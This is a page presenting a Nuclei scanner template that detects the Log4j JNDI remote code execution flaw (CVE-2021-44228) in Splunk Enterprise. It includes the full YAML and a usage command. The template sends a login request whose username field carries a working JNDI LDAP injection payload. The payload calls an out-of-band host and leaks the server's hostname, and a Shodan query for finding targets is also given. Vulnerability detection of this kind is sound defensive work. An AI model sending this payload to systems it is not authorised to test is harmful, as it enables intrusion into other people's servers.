Splunk Enterprise - Remote Code Execution (Apache Log4j)

ID: splunk-enterprise-log4j-rce

Severity: critical

Author: shaikhyaser

Tags: cve,cve2021,rce,jndi,log4j,splunk,oast,kev

Description

Splunk Enterprise is susceptible to Log4j JNDI remote code execution. Splunk Enterprise enables you to search, analyze and visualize your data to quickly act on insights from across your technology landscape.

YAML Source

id: splunk-enterprise-log4j-rce

info:
  name: Splunk Enterprise - Remote Code Execution (Apache Log4j)
  author: shaikhyaser
  severity: critical
  description: |
    Splunk Enterprise is susceptible to Log4j JNDI remote code execution. Splunk Enterprise enables you to search, analyze and visualize your data to quickly act on insights from across your technology landscape.
  reference:
    - https://www.splunk.com/en_us/blog/bulletins/splunk-security-advisory-for-apache-log4j-cve-2021-44228.html
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10
    cve-id: CVE-2021-44228
    cwe-id: CWE-77
    cpe: cpe:2.3:a:splunk:splunk:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    shodan-query: http.title:"Login - Splunk"
    product: splunk
    vendor: splunk
  tags: cve,cve2021,rce,jndi,log4j,splunk,oast,kev
variables:
  rand1: '{{rand_int(111, 999)}}'
  rand2: '{{rand_int(111, 999)}}'
  str: "{{rand_base(5)}}"

http:
  - raw:
      - |
        POST /en-US/account/login HTTP/1.1
        Host: {{Hostname}}
        Accept: text/javascript, text/html, application/xml, text/xml, /
        X-Requested-With: XMLHttpRequest
        Origin: {{RootURL}}
        Referer: {{RootURL}}
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8

        cval={{unix_time()}}&username=${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.username.{{interactsh-url}}/{{str}}}&password={{str}}&return_to=%2Fen-US%2F

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol # Confirms the DNS Interaction
        words:
          - "dns"

      - type: regex
        part: interactsh_request
        regex:
          - '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'

    extractors:
      - type: kval
        kval:
          - interactsh_ip

      - type: regex
        part: interactsh_request
        group: 2
        regex:
          - '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'

      - type: regex
        part: interactsh_request
        group: 1
        regex:
          - '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'
# digest: 4a0a00473045022100c8318e12a3a82a05224f4bd7e645f3d0769d5b7606b0d9790d279270e3b910e202206c375c3bbf3d6cb93cdd97f512f6583f2ac9a35da80c6230553aa08837f82d81:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/vulnerabilities/other/splunk-enterprise-log4j-rce.yaml"

View on Github